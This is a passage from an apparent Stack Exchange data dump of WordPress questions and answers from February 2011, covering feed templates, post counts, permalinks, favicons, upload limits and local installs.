               printf(ent2ncr(__('By: %s')), get_comment_author_rss());&#xA;                        }&#xA;                    ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;                    &amp;lt;link rel=&quot;alternate&quot; href=&quot;&amp;lt;?php comment_link(); ?&amp;gt;&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;                    &amp;lt;author&amp;gt;&#xA;                        &amp;lt;name&amp;gt;&amp;lt;?php comment_author_rss(); ?&amp;gt;&amp;lt;/name&amp;gt;&#xA;                        &amp;lt;?php if (get_comment_author_url()) echo '&amp;lt;uri&amp;gt;' . get_comment_author_url() . '&amp;lt;/uri&amp;gt;'; ?&amp;gt;&#xA;&#xA;                    &amp;lt;/author&amp;gt;&#xA;&#xA;                    &amp;lt;id&amp;gt;&amp;lt;?php comment_guid(); ?&amp;gt;&amp;lt;/id&amp;gt;&#xA;                    &amp;lt;updated&amp;gt;&amp;lt;?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?&amp;gt;&amp;lt;/updated&amp;gt;&#xA;                    &amp;lt;published&amp;gt;&amp;lt;?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?&amp;gt;&amp;lt;/published&amp;gt;&#xA;            &amp;lt;?php if ( post_password_required($comment_post) ) : ?&amp;gt;&#xA;                    &amp;lt;content type=&quot;html&quot; xml:base=&quot;&amp;lt;?php comment_link(); ?&amp;gt;&quot;&amp;gt;&amp;lt;![CDATA[&amp;lt;?php echo get_the_password_form(); ?&amp;gt;]]&amp;gt;&amp;lt;/content&amp;gt;&#xA;            &amp;lt;?php else : // post pass ?&amp;gt;&#xA;                    &amp;lt;content type=&quot;html&quot; xml:base=&quot;&amp;lt;?php comment_link(); ?&amp;gt;&quot;&amp;gt;&amp;lt;![CDATA[&amp;lt;?php comment_text(); ?&amp;gt;]]&amp;gt;&amp;lt;/content&amp;gt;&#xA;            &amp;lt;?php endif; // post pass&#xA;                // Return comment threading information (http://www.ietf.org/rfc/rfc4685.txt)&#xA;                if ( $comment-&amp;gt;comment_parent == 0 ) : // This comment is top level ?&amp;gt;&#xA;                    &amp;lt;thr:in-reply-to ref=&quot;&amp;lt;?php the_guid(); ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink_rss() ?&amp;gt;&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php else : // This comment is in reply to another comment&#xA;                $parent_comment = get_comment($comment-&amp;gt;comment_parent);&#xA;                // The rel attribute below and the id tag above should be GUIDs, but WP doesn't create them for comments (unlike posts). Either way, its more important that they both use the same system&#xA;            ?&amp;gt;&#xA;                    &amp;lt;thr:in-reply-to ref=&quot;&amp;lt;?php comment_guid($parent_comment) ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo get_comment_link($parent_comment) ?&amp;gt;&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php endif;&#xA;                do_action('comment_atom_entry', $comment-&amp;gt;comment_ID, $comment_post-&amp;gt;ID);&#xA;            ?&amp;gt;&#xA;                &amp;lt;/entry&amp;gt;&#xA;            &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;            &amp;lt;/feed&amp;gt;&#xA;        &amp;lt;?php }&#xA;    else&#xA;        load_template( ABSPATH . WPINC . '/feed-atom.php' );&#xA;}&#xA;&#xA;add_filter('do_feed_rss2', 'answersrss2', 1, 1);&#xA;add_filter('do_feed_atom', 'answersatom', 1, 1);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-05-10T09:19:18.463" Title="Comments RSS Feed showing repeating title" Tags="&lt;rss&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="9374" PostTypeId="1" AcceptedAnswerId="9398" CreationDate="2011-02-15T07:35:41.110" Score="1" ViewCount="184" Body="&lt;p&gt;Is there a fast way to get the count (number) of post children of a certain post?&#xA;(The post has a custom post type)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use WP_Query for this because I don't need all the extra data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LE:&lt;/strong&gt; based on wyrfel's answer I ended up using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reply_count($topic, $type = 'topic-reply'){&#xA;  global $wpdb;&#xA;  $cache_key = &quot;{$type}_{$topic}_counts&quot;;&#xA;  $count = wp_cache_get($cache_key, 'counts');&#xA;  if(false !== $count) return $count;&#xA;  $query = &quot;SELECT COUNT(*) FROM {$wpdb-&amp;gt;posts} WHERE post_parent = %d AND post_type = %s&quot;;&#xA;  $count = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare($query, $topic, $type));&#xA;  wp_cache_set($cache_key, $count, 'counts');&#xA;  return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-02-15T16:03:49.373" LastActivityDate="2011-02-15T16:03:49.373" Title="Get the post children count of a post" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9375" PostTypeId="1" AcceptedAnswerId="9430" CreationDate="2011-02-15T08:10:22.830" Score="1" ViewCount="93" Body="&lt;p&gt;This question might seem a little silly but I was wondering what is the differences between WP.com and WP.org?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the main differences like you can't edit a them file without paying for it, you might get some ads and you get a youname.wordpress.com domain but what are the little features that make the difference.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-02-15T20:14:45.970" Title="WordPress.com vs WordPress.org" Tags="&lt;wordpress.com&gt;&lt;wordpress.org&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" />
  <row Id="9376" PostTypeId="2" ParentId="9369" CreationDate="2011-02-15T08:25:05.793" Score="2" ViewCount="" Body="&lt;p&gt;use the follow var: $comment-&gt;comment_approved and check for the value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (0 == $comment-&amp;gt;comment_approved) { ?&amp;gt;&#xA;       &amp;lt;em&amp;gt;&amp;lt;?php _e('Your comment must approved.', FB_BASIS_TEXTDOMAIN) ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code example: &lt;a href=&quot;http://code.google.com/p/wp-basis-theme/source/browse/trunk/basis/comments.php&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/wp-basis-theme/source/browse/trunk/basis/comments.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-02-15T08:25:05.793" />
  <row Id="9377" PostTypeId="2" ParentId="9264" CreationDate="2011-02-15T08:26:24.043" Score="0" ViewCount="" Body="&lt;p&gt;OK, it's a bit messy, but it works. Take a look&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_submenus() {&#xA;  global $submenu;&#xA;  unset($submenu['themes.php'][10]); // Removes Menu  &#xA;}&#xA;add_action('admin_menu', 'remove_submenus');&#xA;&#xA;&#xA;&#xA;function new_nav_menu () {&#xA;    global $menu;&#xA;    $menu[99] = array('', 'read', 'separator', '', 'menu-top menu-nav');&#xA;    add_menu_page(__('Nav Menus', 'mav-menus'), __('Nav Menus', 'nav-menus'), 'edit_themes', 'nav-menus.php', '', 99);&#xA;}&#xA;add_action('admin_menu', 'new_nav_menu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially it is removing the nav menu settings from the Appearance sub-panel, then re-adding it as a top level page (similar to a plugin). You can set an icon URL in there as well. The only part I can't get working the way I want is the positioning.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-15T08:26:24.043" CommentCount="1" />
  <row Id="9378" PostTypeId="2" ParentId="9375" CreationDate="2011-02-15T09:05:32.780" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress.com is a hosted blogging service based, of course, on Wordpress. You can register and open your blog, choosing from a variety of themes. It's running the latest version of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress.org is the site where you can download WordPress, themes and plugins and install it in your own server.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="3185" LastEditorDisplayName="" LastEditDate="2011-02-15T09:31:43.640" LastActivityDate="2011-02-15T09:31:43.640" CommentCount="3" />
  <row Id="9380" PostTypeId="1" AcceptedAnswerId="9445" CreationDate="2011-02-15T09:48:08.213" Score="0" ViewCount="231" Body="&lt;p&gt;I am having a problem. I am running WP 3.05 with one custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code to create the taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_property_taxonomies() &#xA;{&#xA;  // Add new taxonomy, make it hierarchical (like categories)&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'Property Types', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Property Type', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Property Types' ),&#xA;    'all_items' =&amp;gt; __( 'All Property Types' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Property Type' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Property Type:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Property Typee' ), &#xA;    'update_item' =&amp;gt; __( 'Update Property Type' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Property Type' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Property Type' ),&#xA;    'menu_name' =&amp;gt; __( 'Property Type' ),&#xA;  );    &#xA;&#xA;  register_taxonomy('property_type',array('sbproperty'), array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;  ));&#xA;global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;extra_permastructs['property_type'] = array('%property_type%', EP_NONE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have used the extra permastruct so the taxonomy just appears on the base url like site.com/taxonomy-slug instead of site.com/taxonomy/taxonomy-slug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also using the top-level-cats plugin to do the same for original taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is causing a conflict with my pages. When I remove the permastruct the page loads on the pretty permalink, but with my permastruct on it does not, it gives a 404 for all top level pages.&lt;/p&gt;&#xA;" OwnerUserId="2911" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-15T10:36:52.837" LastActivityDate="2011-02-15T21:26:38.403" Title="Permalink Problems" Tags="&lt;custom-taxonomy&gt;&lt;404-error&gt;&lt;url-rewriting&gt;&lt;permastructs&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9381" PostTypeId="2" ParentId="9347" CreationDate="2011-02-15T09:49:15.193" Score="2" ViewCount="" Body="&lt;p&gt;In case you support IE 6, a small warning:  The favicon does not show in toolbar unless the url is added to 'Favorites' (bookmarks), and the favicons are stored in IE cache, so will get deleted when you delete the cache, or when gets periodically deleted.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2011-02-15T09:49:15.193" />
  <row Id="9382" PostTypeId="2" ParentId="9375" CreationDate="2011-02-15T09:57:27.037" Score="1" ViewCount="" Body="&lt;p&gt;It's not easy to answer your question specifically as it's quite broadly asked. Probably the questions tagged &lt;a href=&quot;/questions/tagged/wordpress.com&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'wordpress.com'&quot; rel=&quot;tag&quot;&gt;wordpress.com&lt;/a&gt; are of use.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-15T09:57:27.037" />
  <row Id="9383" PostTypeId="2" ParentId="9365" CreationDate="2011-02-15T10:18:08.900" Score="2" ViewCount="" Body="&lt;p&gt;You can forbid uploads of a specific size (or for other reasons) in the &lt;code&gt;wp_handle_upload_prefilter&lt;/code&gt; hook that is used in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_handle_upload&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_handle_upload()&lt;/code&gt; function&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It get's the file array passed, it's a single item in &lt;a href=&quot;http://www.php.net/manual/en/reserved.variables.files.php&quot; rel=&quot;nofollow&quot;&gt;the PHP standard superglobal &lt;code&gt;$_FILES&lt;/code&gt;&lt;/a&gt; one that is documented in the &lt;a href=&quot;http://www.php.net/manual/en/features.file-upload.post-method.php&quot; rel=&quot;nofollow&quot;&gt;PHP Manual: POST method uploads&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a function and add it to the filter. Inside your hook, check for the filesize and set &lt;code&gt;$file['error']&lt;/code&gt; to your error message like &quot;Files larger than X bytes are prevented from uploads&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_handle_upload_prefilter', function($file) {&#xA;    $size = $file['size'];&#xA;    if ($size &amp;gt; 500 * 1024) {&#xA;       $file['error'] = '&quot;Files larger than X bytes are prevented from uploads.';&#xA;    }&#xA;    return $file;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method does not technically permit the upload which means, your server is still receiving the upload data of the file from the users browser. It's just thrown away afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent uploads of certain size at the server level, you need to configure your server accordingly for that which depends on what you use.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-15T11:20:15.390" LastActivityDate="2011-02-15T11:20:15.390" CommentCount="5" />
  <row Id="9384" PostTypeId="1" AcceptedAnswerId="9393" CreationDate="2011-02-15T10:21:12.080" Score="0" ViewCount="115" Body="&lt;p&gt;I recently moved a blog from one host to another and now have a problem with a permalink - rather than opening up a page, it now opens an attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog is using WP 3.0.4, running on PHP 5 and IIS 7.0. The permalinks are set to use &quot;/%postname%/&quot; and the web.config is as suggested in the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Permalinks_without_mod_rewrite&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;. The blog was moved using the WP export and import tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously &lt;a href=&quot;http://site/blog/map&quot; rel=&quot;nofollow&quot;&gt;http://site/blog/map&lt;/a&gt; opened up a page called map, but it is now opening &lt;a href=&quot;http://site/blog/?attachment_id=xx&quot; rel=&quot;nofollow&quot;&gt;http://site/blog/?attachment_id=xx&lt;/a&gt;. Does anyone know how to change this behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jon.&lt;/p&gt;&#xA;" OwnerUserId="3188" LastActivityDate="2011-02-27T05:37:10.687" Title="Permalink opens attachment instead of page" Tags="&lt;permalinks&gt;&lt;page&gt;&lt;iis&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9385" PostTypeId="1" AcceptedAnswerId="9389" CreationDate="2011-02-15T10:21:48.130" Score="0" ViewCount="92" Body="&lt;p&gt;i've downloaded a wordpress web to my local machine and tried setting it up.&#xA;the problem: when trying to login, wordpress will always redirect to the online url.&#xA;the only way i found was changing the siteurl manually in phpmyadmin to my local machine's ip address.&#xA;is there a better solution?&#xA;the problem about doing that is that permalinks won't work anymore locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-02-15T11:22:16.200" Title="newbie question: run wordpress on local machine" Tags="&lt;local-installation&gt;" AnswerCount="2" />
  <row Id="9386" PostTypeId="2" ParentId="9385" CreationDate="2011-02-15T10:57:55.750" Score="3" ViewCount="" Body="&lt;p&gt;If I understand right you had restored backup of live site to local installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you have two ways to handle it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Change site URL&lt;/a&gt; (I recommend &lt;code&gt;RELOCATE&lt;/code&gt; way, always works nicely for me).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://en.wikipedia.org/wiki/Hosts_file&quot; rel=&quot;nofollow&quot;&gt;hosts file of your OS&lt;/a&gt; to point live domain at your local IP (&lt;code&gt;127.0.0.1&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-15T10:57:55.750" />
  <row Id="9387" PostTypeId="2" ParentId="9347" CreationDate="2011-02-15T11:07:30.970" Score="5" ViewCount="" Body="&lt;p&gt;For a little bit interoperability, consider using the Microsoft Icon format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just place a file called &lt;code&gt;favicon.ico&lt;/code&gt; with your icon grafik then into the root of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's important because many are requesting it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure you should add the meta to your site's output as well, it goes into the html head section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;http://example.com/favicon.ico&quot; type=&quot;image/x-icon&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing so will make it work in a large share of browsers and it will prevent 404s error messages in your server-logs as the meta href is not reflected by all user-agents.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Favicon in WordPress&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A HTML head related WordPress hook is &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_head&lt;/code&gt; (Wordpress Codex)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_head', function(){ &#xA;    printf(&quot;%s\n&quot;, '&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;http://example.com/favicon.ico&quot; type=&quot;image/x-icon&quot;/&amp;gt;');&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since version 3, WordPress has an empty favicon.ico build in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in some details, there was some discussion going on in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/3426&quot; rel=&quot;nofollow&quot;&gt;Should include default favicon (Ticket #3426)&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11412&quot; rel=&quot;nofollow&quot;&gt;Discard requests for favicon.ico (Ticket #11412)&lt;/a&gt; which resulted in that default 0-byte long virtual &lt;code&gt;/favicon.ico&lt;/code&gt; file (if wordpress placed inside the server root).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's basically a file the browser will fail at in a default setup w/o a user-added &lt;code&gt;/favicon.ico&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-15T11:07:30.970" />
  <row Id="9388" PostTypeId="2" ParentId="9361" CreationDate="2011-02-15T11:19:59.510" Score="2" ViewCount="" Body="&lt;p&gt;I'm pretty sure that even if you add that meta box at the bottom of the category edit you will still have the problem of meta table for categories, and i bet that your meta_box 'save' function saves as postmeta data table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this can be done using the options table here is an &lt;a href=&quot;http://en.bainternet.info/2011/wordpress-category-extra-fields&quot; rel=&quot;nofollow&quot;&gt;how to add extra fields to categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T11:19:59.510" CommentCount="4" />
  <row Id="9389" PostTypeId="2" ParentId="9385" CreationDate="2011-02-15T11:22:16.200" Score="3" ViewCount="" Body="&lt;p&gt;Open up your &lt;code&gt;wp-config.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try adding the following to it:&lt;br&gt;&#xA;&lt;code&gt;&#xA;    define( 'WP_SITEURL',   'http://localhost/your_wordpress_folder' );&lt;br&gt;&#xA;    define( 'WP_HOME',  'http://localhost/your_wordpress_folder' );&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-15T11:22:16.200" CommentCount="1" />
  <row Id="9390" PostTypeId="1" AcceptedAnswerId="9391" CreationDate="2011-02-15T11:27:39.317" Score="0" ViewCount="179" Body="&lt;p&gt;I transferred a website to VPS and when I open that website, the home page takes too long to load, for me its taking 30-35 secs just to display the home page, but when I navigate the internal pages it loads in normal speed,&#xA;I also tried this when all of my plugins were deactivated,&#xA;but no change, it was taking time to load.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-03-30T23:30:36.980" Title="homepage loading too slow" Tags="&lt;homepage&gt;" AnswerCount="4" CommentCount="11" />
  <row Id="9391" PostTypeId="2" ParentId="9390" CreationDate="2011-02-15T11:53:15.580" Score="1" ViewCount="" Body="&lt;p&gt;There was a thread on wp-hackers in December which could be related: &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-December/036960.html&quot; rel=&quot;nofollow&quot;&gt;Avoid query_post on frontpage on wp initialization&lt;/a&gt;. You may give &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-December/036963.html&quot; rel=&quot;nofollow&quot;&gt;Sergey Biryukov’s code&lt;/a&gt; a try:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was able to cancel the initial query with this code in the active theme's functions.php file:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cancel_first_query() {&#xA;    remove_filter('posts_request', 'cancel_first_query');&#xA;    return '';&#xA;}&#xA;add_filter('posts_request', 'cancel_first_query');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-15T11:53:15.580" CommentCount="5" />
  <row Id="9392" PostTypeId="2" ParentId="4702" CreationDate="2011-02-15T12:45:57.810" Score="1" ViewCount="" Body="&lt;p&gt;Another thing you can look at is the newly released MaxA/B plugin. It's free and we actively maintain it. Just keep in mind that it's for A/B split testing, not multivariate testing. You can grab it from &lt;a href=&quot;http://maxfoundry.com/plugins/maxab&quot; rel=&quot;nofollow&quot;&gt;http://maxfoundry.com/plugins/maxab&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2433" LastActivityDate="2011-02-15T12:45:57.810" />
  <row Id="9393" PostTypeId="2" ParentId="9384" CreationDate="2011-02-15T12:56:13.663" Score="3" ViewCount="" Body="&lt;p&gt;Attachments are stored with their filename (minus extension) as the post name. So if you uploaded an attachment that's called map.xyz, it would have the same name as your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first, check your Media Library if you have a 'map' attachment.&#xA;Secondly, check if your 'map' page still exists and still has the same slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When wordpress tries to resolve your request, it can't figure if your are referring to a post(/attachment) or a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine that wordpress also does some slug mingling in the process of importing an export to avoid duplication of post names. It may have imported the attachment first and the page after and mingled your page name into something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using /posts/%postname%/ for your permalinks, this will distinguish them from pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read: &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-15T12:56:13.663" CommentCount="1" />
  <row Id="9394" PostTypeId="1" AcceptedAnswerId="9451" CreationDate="2011-02-15T13:01:03.247" Score="2" ViewCount="392" Body="&lt;p&gt;I know how to get a custom field value for a specific post. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post_id, $key, $single);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is to get all the values associated with a specific custom post key, &lt;strong&gt;across all posts&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows of an efficient way to do this? I wouldn't want to loop through all post id's in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 posts all with different values for a custom field called 'Mood'.&#xA;2 posts have the value 'happy', 1 post have 'angry' and 1 post has 'sad'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to output : across all posts we have: two happy, one angry and one sad author(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for LOTS of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a WP function to get this.&#xA;or&lt;/li&gt;&#xA;&lt;li&gt;a custom query to get this as efficiently as possible.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-06-05T18:52:28.287" Title="getting all values for a custom field key (cross-post)" Tags="&lt;custom-field&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="9395" PostTypeId="1" AcceptedAnswerId="9434" CreationDate="2011-02-15T13:05:12.577" Score="0" ViewCount="54" Body="&lt;p&gt;I'm trying to pass error messages or regular messages from a page that processes a form post request to the page it then redirects to (after processing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i want to get rid of the POST request header (you know...browsers trying to repost on page reload), i need to redirect (no include or using same page, possible). Or can i somehow get rid of the POST request header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's any non-visible way of passing my messages to the next page, since i can't use $_SESSION and don't want to use GET request parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-15T20:35:44.733" LastActivityDate="2011-02-20T11:02:06.423" Title="Is there any way to pass messages from a script to a redirect target in a hidden fashion?" Tags="&lt;plugin-development&gt;&lt;redirect&gt;&lt;errors&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9396" PostTypeId="2" ParentId="9384" CreationDate="2011-02-15T13:11:42.860" Score="0" ViewCount="" Body="&lt;p&gt;If your permalink structure is &lt;code&gt;/%postname%/&lt;/code&gt;, WordPress should create &lt;em&gt;verbose rewrite rules&lt;/em&gt; for the pages. This means the individual pages get their own rules, before any other rules for posts or attachments. It seems this has not happened - maybe because of the import? Can you check your current rules with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my rewrite analyzer plugin&lt;/a&gt;? You should see all your pages at the top, then followed by rules for your posts. If this does not work, try disabling and then re-enabling pretty permalinks, this should re-generate the rules.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-15T13:11:42.860" />
  <row Id="9397" PostTypeId="1" AcceptedAnswerId="9401" CreationDate="2011-02-15T13:17:37.053" Score="0" ViewCount="211" Body="&lt;p&gt;I'm developing a web application with user submissions, i'm not too hot on mod-rewrite and was hoping there is a way to utilise WordPress' amazing rewrite engine and incorporate this somehow into my PHP/AJAX web application?&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-02-15T14:01:46.793" Title="Use WordPress' URL rewrite engine" Tags="&lt;php&gt;&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9398" PostTypeId="2" ParentId="9374" CreationDate="2011-02-15T13:31:39.547" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;class MyClass {&#xA;&#xA;    ...&#xA;&#xA;    function post_count_filter($where) {&#xA;        global $wpdb;&#xA;        str_replace(&quot;WHERE&quot;, &quot;WHERE &quot;.$wpdb-&amp;gt;posts.&quot;.post_parent = &quot;.$this-&amp;gt;count_parent.&quot; AND&quot;, $where);&#xA;        return $where;&#xA;    }&#xA;&#xA;    function count_children($post_id) {&#xA;        $this-&amp;gt;count_parent = $post_id;&#xA;        add_filter('query', ( &amp;amp;$this, 'post_count_filter') );&#xA;        $stats = wp_count_posts('myposttype');&#xA;        remove_filter('query', ( &amp;amp;$this, 'post_count_filter') );&#xA;        unset($this-&amp;gt;count_parent);&#xA;        return array_sum( (array)$stats );&#xA;    }&#xA;&#xA;    // example of use&#xA;    function xyz() {&#xA;        global $post;&#xA;        ...&#xA;        $child_count = $this-&amp;gt;count_children($post-&amp;gt;ID);&#xA;        ...&#xA;    }&#xA;&#xA;    ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only issue with that is that wp_count_posts() caches its 